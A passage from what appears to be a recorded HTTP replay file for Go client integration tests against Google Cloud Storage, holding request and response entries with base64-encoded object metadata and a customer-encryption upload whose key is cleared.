9nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY29udGVudC9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImNvbnRlbnQiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3NDM1MjIwNyIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNNL1lqc3J4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jb250ZW50LzE1NTY4MzU4NzQzNTIyMDcvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2NvbnRlbnQvYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJjb250ZW50IiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NzQzNTIyMDciLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ00vWWpzcngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2NvbnRlbnQvMTU1NjgzNTg3NDM1MjIwNy91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY29udGVudC9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImNvbnRlbnQiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3NDM1MjIwNyIsImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNNL1lqc3J4L2VFQ0VBRT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoiR29VYnNRPT0iLCJldGFnIjoiQ00vWWpzcngvZUVDRUFFPSJ9" - } - }, - { - "ID": "c45640ec17230f64", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/content?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3198" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:34 GMT" - ], - "Etag": [ - "CM/Yjsrx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrvqLsOaMe2H6Xh3MyDCOuHmLzU1fn_Zh6kHLkpTpn4EWj3nFkeROu1g-cABD151cTh8YmY798iEku-Q3TnZIMZ5mexmHiCJKdUhAolbSd9b_apMK8" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jb250ZW50LzE1NTY4MzU4NzQzNTIyMDciLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jb250ZW50IiwibmFtZSI6ImNvbnRlbnQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3NDM1MjIwNyIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoiaW1hZ2UvanBlZyIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDozNC4zNTFaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MzQuMzUxWiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjM0LjM1MVoiLCJzaXplIjoiNTQiLCJtZDVIYXNoIjoiTjhwOC9zOUZ3ZEFBbmx2ci9sRUFqUT09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2NvbnRlbnQ/Z2VuZXJhdGlvbj0xNTU2ODM1ODc0MzUyMjA3JmFsdD1tZWRpYSIsImNhY2hlQ29udHJvbCI6InB1YmxpYywgbWF4LWFnZT02MCIsImFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2NvbnRlbnQvMTU1NjgzNTg3NDM1MjIwNy9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jb250ZW50L2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJjb250ZW50IiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NzQzNTIyMDciLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ00vWWpzcngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2NvbnRlbnQvMTU1NjgzNTg3NDM1MjIwNy9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY29udGVudC9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImNvbnRlbnQiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3NDM1MjIwNyIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNNL1lqc3J4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jb250ZW50LzE1NTY4MzU4NzQzNTIyMDcvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2NvbnRlbnQvYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJjb250ZW50IiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NzQzNTIyMDciLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ00vWWpzcngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2NvbnRlbnQvMTU1NjgzNTg3NDM1MjIwNy91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY29udGVudC9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImNvbnRlbnQiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3NDM1MjIwNyIsImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNNL1lqc3J4L2VFQ0VBRT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoiR29VYnNRPT0iLCJldGFnIjoiQ00vWWpzcngvZUVDRUFFPSJ9" - } - }, - { - "ID": "752ab630b062d61e", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ], - "X-Goog-Encryption-Algorithm": [ - "AES256" - ], - "X-Goog-Encryption-Key": [ - "CLEARED" - ], - "X-Goog-Encryption-Key-Sha256": [ - "H+LmnXhRoeI6TMW5bsV6HyUk6pyGc2IMbqYbAXBcps0=" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJuYW1lIjoiY3VzdG9tZXItZW5jcnlwdGlvbiJ9Cg==", - "dG9wIHNlY3JldC4=" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3482" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:35 GMT" - ], - "Etag": [ - "CPjnucrx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpaWw6jJMKNOoCNMXwJNVVsxqzPhGfMo-5g3krJ7A8_PSGTx4W2OakfmtDvzOpg1hexLJcsWunNHfyWVXsjBpM58dtQlM6VucQW4Uxndlb9RIp0UhM" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uLzE1NTY4MzU4NzUwNTg2ODAiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jdXN0b21lci1lbmNyeXB0aW9uIiwibmFtZSI6ImN1c3RvbWVyLWVuY3J5cHRpb24iLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3NTA1ODY4MCIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDozNS4wNThaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MzUuMDU4WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjM1LjA1OFoiLCJzaXplIjoiMTEiLCJtZDVIYXNoIjoieHdXTkZhMFZkWFBtbEF3cmxjQUpjZz09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2N1c3RvbWVyLWVuY3J5cHRpb24/Z2VuZXJhdGlvbj0xNTU2ODM1ODc1MDU4NjgwJmFsdD1tZWRpYSIsImFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2N1c3RvbWVyLWVuY3J5cHRpb24vMTU1NjgzNTg3NTA1ODY4MC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jdXN0b21lci1lbmNyeXB0aW9uL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJjdXN0b21lci1lbmNyeXB0aW9uIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NzUwNTg2ODAiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ1BqbnVjcngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2N1c3RvbWVyLWVuY3J5cHRpb24vMTU1NjgzNTg3NTA1ODY4MC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY3VzdG9tZXItZW5jcnlwdGlvbi9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImN1c3RvbWVyLWVuY3J5cHRpb24iLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3NTA1ODY4MCIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNQam51Y3J4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uLzE1NTY4MzU4NzUwNTg2ODAvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2N1c3RvbWVyLWVuY3J5cHRpb24vYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJjdXN0b21lci1lbmNyeXB0aW9uIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NzUwNTg2ODAiLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ1BqbnVjcngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2N1c3RvbWVyLWVuY3J5cHRpb24vMTU1NjgzNTg3NTA1ODY4MC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY3VzdG9tZXItZW5jcnlwdGlvbi9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImN1c3RvbWVyLWVuY3J5cHRpb24iLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3NTA1ODY4MCIsImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNQam51Y3J4L2VFQ0VBRT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoicjBOR3JnPT0iLCJldGFnIjoiQ1BqbnVjcngvZUVDRUFFPSIsImN1c3RvbWVyRW5jcnlwdGlvbiI6eyJlbmNyeXB0aW9uQWxnb3JpdGhtIjoiQUVTMjU2Iiwia2V5U2hhMjU2IjoiSCtMbW5YaFJvZUk2VE1XNWJzVjZIeVVrNnB5R2MySU1icVliQVhCY3BzMD0ifX0=" - } - }, - { - "ID": "3f4d8fd0e94ca6de", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/customer-encryption?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3425" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:35 GMT" - ], - "Etag": [ - "CPjnucrx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoO-NbHUptMgzQPx9zApWGCeqMgfkk2mt6PJl1iWbq8ocUYq_0ud8gPuj9bcBTBOBdqewKzSouddziC-BFLoOdQJ6ElkN136q5y39ZRDN4zq6UWLUs" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uLzE1NTY4MzU4NzUwNTg2ODAiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jdXN0b21lci1lbmNyeXB0aW9uIiwibmFtZSI6ImN1c3RvbWVyLWVuY3J5cHRpb24iLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3NTA1ODY4MCIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDozNS4wNThaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MzUuMDU4WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjM1LjA1OFoiLCJzaXplIjoiMTEiLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY3VzdG9tZXItZW5jcnlwdGlvbj9nZW5lcmF0aW9uPTE1NTY4MzU4NzUwNTg2ODAmYWx0PW1lZGlhIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY3VzdG9tZXItZW5jcnlwdGlvbi8xNTU2ODM1ODc1MDU4NjgwL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2N1c3RvbWVyLWVuY3J5cHRpb24vYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImN1c3RvbWVyLWVuY3J5cHRpb24iLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3NTA1ODY4MCIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE